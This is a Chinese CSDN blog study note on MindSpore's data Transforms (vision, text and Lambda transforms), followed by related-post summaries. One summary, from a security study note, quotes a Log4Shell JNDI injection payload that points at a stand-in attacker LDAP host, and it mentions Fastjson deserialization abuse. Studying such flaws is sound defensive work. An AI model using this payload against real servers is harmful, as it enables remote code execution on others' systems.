【学习笔记】昇思25天学习打卡(D04)初学05-数据变换Transforms.ipynb

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

数据变换 Transforms

在机器学习和深度学习中,数据预处理是一个至关重要的步骤。通常情况下,原始数据并不能直接用于模型训练,需要进行一系列的转换和处理。MindSpore框架提供了多种数据变换(Transforms)工具,配合数据处理流水线(Pipeline),可以高效地实现数据预处理。

MindSpore的dataset模块提供了面向图像、文本、音频等不同数据类型的Transforms,同时也支持使用Lambda函数进行自定义处理。这些Transforms可以通过map方法应用到指定的数据列上。下面我们将详细介绍几种主要的Transforms类型。

Common Transforms

mindspore.dataset.transforms模块支持一系列通用的Transforms。其中,Compose是一个非常实用的工具,它可以将多个数据增强操作组合成一个单一的操作,使得数据处理流程更加简洁和高效。

Vision Transforms

对于图像数据,mindspore.dataset.vision模块提供了丰富的处理工具。以下是几个常用的图像处理变换:

  1. Rescale:用于调整图像像素值的大小。它包含缩放因子和平移因子两个参数,可以对图像进行线性变换。

  2. Normalize:用于图像的归一化处理。它可以指定每个通道的均值和标准差,将图像数据调整到一个标准化的范围内。这对于模型的训练稳定性和收敛速度有很大帮助。

  3. HWC2CHW:用于转换图像的数据格式。在不同的硬件设备上,可能会对(height, width, channel)或(channel, height, width)两种不同格式有针对性优化。MindSpore默认使用HWC格式,但在需要时可以方便地转换为CHW格式。

Text Transforms

对于文本数据,mindspore.dataset.text模块提供了专门的处理工具。文本数据的处理通常包括分词(Tokenize)、构建词表、将词转换为索引等步骤。以下是几个常用的文本处理工具:

  1. PythonTokenizer:这是一个基础的分词器,允许用户自定义分词策略。它非常灵活,可以根据具体需求实现不同的分词方法。

  2. Lookup:这是一个词表映射工具,用于将分词后的词转换为对应的索引。在使用Lookup之前,需要先构建词表,可以使用预定义的词表或从数据集中生成新的词表。

Lambda Transforms

除了预定义的Transforms,MindSpore还支持使用Lambda函数进行自定义的数据处理。Lambda函数是一种匿名函数,可以在数据处理过程中灵活地定义和使用。这为复杂的数据处理需求提供了极大的灵活性。

通过合理使用这些Transforms,我们可以高效地完成数据预处理,为后续的模型训练做好准备。在实际应用中,往往需要根据具体的数据特点和模型需求,选择合适的Transforms组合使用。

Reference

教程来自:
https://gitee.com/mindspore/docs/blob/r2.3/tutorials/source_zh_cn/beginner/transforms.ipynb
其他可以用来参考的文档有:
https://www.mindspore.cn/docs/zh-CN/r2.3/api_python/mindspore.dataset.transforms.html

Python+pytest+requests 自动化测试框架 环境准备 本次选用的是Python+Pytest+requests来搭建自动化框架,需要有 Python 环境(3.x 版本),安装pytest和requests,不会安装的自行去网上搜教程。 关于 Pytest 的基本使用,这里不作讲解,不清楚的可以看我之前的文章。 简单 Demo 我们先创建一个项目,取名api-test,然后在下面创建一个test_api.py的文件 # test_api.py import pytest import requests def test_01(): 阅读详情

相关推荐

halcon 深度学习标注_Halcon deep learning之目标检测笔记(一)

设置输入输出的路径输入路径有两个,一个是图像路径HalconImageDir,一个是Json文件路径PillBagJsonFile。这两个参数用于后续在图像路径中读取coco文件。输出路径首先定义一个新的文件夹路径,用于存放样本和模型文件等数据。设置基于深度学习的目标检测模型的路径,该模型文件以.hdl结尾。设置样本数据文件夹ExampleDataDir:'detect_pills_data'数据...

weixin_27885313的博客 2701

【学习笔记】昇思25天学习打卡(D03)初学04-数据集Dataset.ipynb

MindSpore提供基于Pipeline的数据引擎,通过Dataset和Transforms实现高效的数据预处理。

UnseenMe的博客 279

手把手推导Cuk/Sepic/Zeta的传递函数:用LTspice仿真验证,避开理论计算的坑

本文详细介绍了如何通过LTspice仿真验证Cuk、Sepic和Zeta拓扑的传递函数,揭示理论计算与实际电路的差异。文章涵盖元件建模、仿真设置、动态响应测试及参数优化等关键步骤,帮助工程师避开电力电子设计中的常见陷阱,提升设计效率与准确性。

weixin_28726671的博客 132

哥伦比亚大学免费AI课:零基础动手构建端到端模型

人工智能学习正从概念认知迈向工程实践,核心在于理解模型如何‘工作’而非仅知其‘为何存在’。神经网络、梯度下降、模型部署等关键技术,其真正价值体现在可调试、可验证、可落地的完整流程中。通过可视化反馈闭环、交互式代码实验与真实故障模拟,学习者能建立对AI系统行为的直觉判断力,突破数学门槛与工具链焦虑。这种以‘可触摸的抽象’重构知识路径的方式,显著提升学习留存率与问题解决能力。尤其适合无编程或数学背景但渴望亲手训练、调试并部署模型的学习者——正如哥伦比亚大学这门Free AI Course所践行的:让每个人都能在

weixin_30652897的博客 470

FPGA AXI DDR3读写时序调试与FIFO缓存实战解析

本文深入解析FPGA中AXI协议与DDR3的读写时序调试,重点探讨FIFO缓存在数据流控制中的关键作用。通过实战案例详细讲解突发传输中的地址对齐、数据分片等常见问题,并提供状态机设计、仿真波形分析和性能优化技巧,帮助开发者高效解决高速数据存储场景下的时序同步与数据一致性问题。

blockchain9miner的博客 1122

IT运维必备 开源Urbackup 备份系统部署教程 实战操作

手动添加ip方式检查是否在线 ,linux需要按上述步骤6配置server端地址 不然一直不会进去状态栏。安装依赖sudo apt install -y libcrypto++-dev。补充客户端手动触发备份命令 (一般在服务端操作即可,特殊情况客户端进行操作)修改ubuntu主机名 建议修改为ip 方便上线以ip命名上线。默认客户端安装完毕大概几分钟之内服务端会自动上线。配置客户端指向server端地址。(2)ubuntu 客户端设置。新起一个远程窗口查看配置状态,配置客户端备份文件目录。

qq_34981755的博客 1291

Zig 设计哲学与核心特性 · 0.17 学习手册

本文为Zig 0.17完整学习手册,基于B站19讲视频整理,全面适配Zig 0.17.1版本。涵盖设计哲学(如“一切可见”、显式内存分配)、核心特性(?T、错误即值、comptime、SIMD)及工程实践(Allocator心智模型、零堆分配、Async I/O)。所有代码经实测通过,标注过时写法并提供迁移指南,附30个可运行示例与附录索引,助力开发者从入门迈向系统级编程。

代码过客 145

华为服务器RAID配置避坑指南:如何通过iBMC快速识别阵列卡型号并完成初始化

本文详细解析华为服务器RAID配置全流程,重点介绍通过iBMC快速识别阵列卡型号、硬盘健康诊断及RAID级别选择的场景化策略。提供从iBMC登录到缓存策略调优的实战技巧,帮助工程师避免常见配置陷阱,提升服务器存储系统性能和稳定性。

weixin_28475533的博客 492

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 241

dex2oat编译优化调试

dex2oat编译调试的一些技巧和方法

jidapenglin28的专栏 5049

22、忆阻器、忆阻系统及其神经形态应用综述

本文综述了忆阻器与忆阻系统的理论基础及其在神经形态系统中的广泛应用。从忆阻器的基本定义出发,介绍了其在非线性电路、存储技术、通信和神经形态计算等领域的应用潜力。重点探讨了基于忆阻器的神经元模型(如Hodgkin-Huxley、FitzHugh-Nagumo和Hindmarsh-Rose模型)、突触实现方式及多种忆阻神经网络架构,包括细胞神经网络、脉冲神经网络和递归神经网络等。此外,深入分析了忆阻器在水库计算中的理论研究与硬件实现进展,展示了其在时间序列处理、模式识别和信号预测等方面的优异性能。尽管忆阻技术前

kiwi8的博客 207

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 250

BES2300x笔记(36) -- OTA升级

哈喽大家好,这是该系列博文的第三十六篇~ 篇~ <<【系列博文索引】快速通道 >> 一、前言 BES 蓝牙方案自带 OTA(Over The Air)功能,该功能可以对蓝牙固件进行在线升级,目前该功能支持通过安卓手机(苹果手机也有对应APP,未实际测试)对蓝牙固件进行升级,以后还会支持通过 PC 端进行在线升级。在使用 OTA 功能之前,用户需安装 BES 提供的手机 apk 软件,将需要升级的固件拷贝到手机,然后通过该 apk 软件进行在线升级。

文化人的博客 5357

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 177

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

焦点仿真学习记录:water_only 基线怎么搭、怎么验、怎么调

在纯水介质中搭建5阵元几何聚焦仿真,通过合理设置网格、介质参数、源延时与传感器区域,实现焦点理论位置的精准对齐。基于声速计算延时,验证焦点位置误差小于0.1 mm,峰值压力达1.2×10⁵ Pa,确认基线仿真正确。该water_only模型为后续颅骨影响分析提供可靠参照,确保聚焦性能评估可量化。

qq_43441284的博客 513

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

MCP 学习总结:从理解协议到设计工具

MCP 为 AI 应用提供统一发现与调用外部能力的协议,区别于传统 HTTP API 与模型工具调用。它聚焦上下文交换,不替代模型逻辑或上下文管理。研发中需明确角色(Host/Client/Server),合理划分 Tools、Resources、Prompts,设计可被模型理解的工具契约,注重粒度拆分与幂等性,确保权限在执行端控制。通过小功能切入,验证正常与异常流程,逐步构建可协作、可维护的 AI 能力体系。

YZ099的博客 261

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 376

Axum 初步入门学习笔记

)自定义错误实现后,可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架,核心能力是:Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”:它帮你建立全局观,但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层,不是 Axum 自带的。

weixin_43219667的博客 205

React 进阶 21 天学习计划

本学习计划专为有经验的 React 开发者设计,聚焦 React 19 新特性、性能优化与架构进阶。通过21天系统训练,掌握 use Hook、Server Components、Server Actions、状态管理选型(Zustand/Jotai/RTK)及 RSC 全栈开发,提升工程化能力与高级架构思维,实现从“会用”到“精通”的跃迁。

富朝阳的博客 169

基于SpringBoot青少年法律学习宣传平台-附源码

为加强青少年法治教育,普及基础法律知识,传统线下普法讲座、纸质宣传手册形式存在传播范围有限、学习时间不灵活、学习效果难以跟踪等问题。本系统面向青少年、普法教师以及平台管理员开发线上法律学习宣传平台。青少年用户可以浏览普法文章、观看法治微课、完成法律知识习题、参与线上答题、留言咨询法律相关问题;教师可以上传普法学习资料、发布知识问卷、查看学生学习记录;管理员负责管理普法资源、审核留言、管理用户信息、统计学习数据。

专注于大学生项目实战开发,讲解,毕业答疑辅导,java就业辅导,高校老师/讲师/同行合作。以及产品测评宣传、工具推广等合作。全网粉丝10w+,平台优质java、小程序创作者。 235

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 248

扣子Coze学习笔记 02 · 智能体开发基础(视频9-15)

本模块系统讲解智能体开发全流程:从创建、模式选择(推荐单Agent自主规划)、参数调优(随机性、上下文轮数、回复长度)到提示词编写(CO-STAR框架+边界限制),强调“双向交互”与“持续学习”的核心价值。通过奶茶师傅类比,厘清智能体与自动化工具的本质区别。重点掌握系统提示词定义角色边界、用户提示词规范输入,并完成发布与开场白优化闭环。实操建议边学边调试,反复验证提示词边界,确保智能体稳定可用。

Question_123456的博客 615

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 781

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 246

GS-Playground:一种用于视觉感知机器人学习的高吞吐量、照片级逼真模拟器

论文:GS-Playground: A High-Throughput Photorealistic Simulator for Vision-Informed Robot Learning(arXiv 2604.25459,来自清华、Motphys、Dexmal、DISCOVER Robotics、港科大(广州)、北理工、Galbot、新加坡国立、哈工大(深圳)、西交、南大、上交和D-Robotics) GS-Playground 里“合并 GS 和 mesh”的方式更接近双表示 + 刚体绑定,不是联合优

yorkhunter的博客 505
上一篇: 【学习笔记】昇思25天学习打卡(D03)初学04-数据集Dataset.ipynb
下一篇: 【学习笔记】昇思25天学习打卡(D05)初学06-网络构建.ipynb
UnseenMe
博客等级 码龄20年 193粉丝 35原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值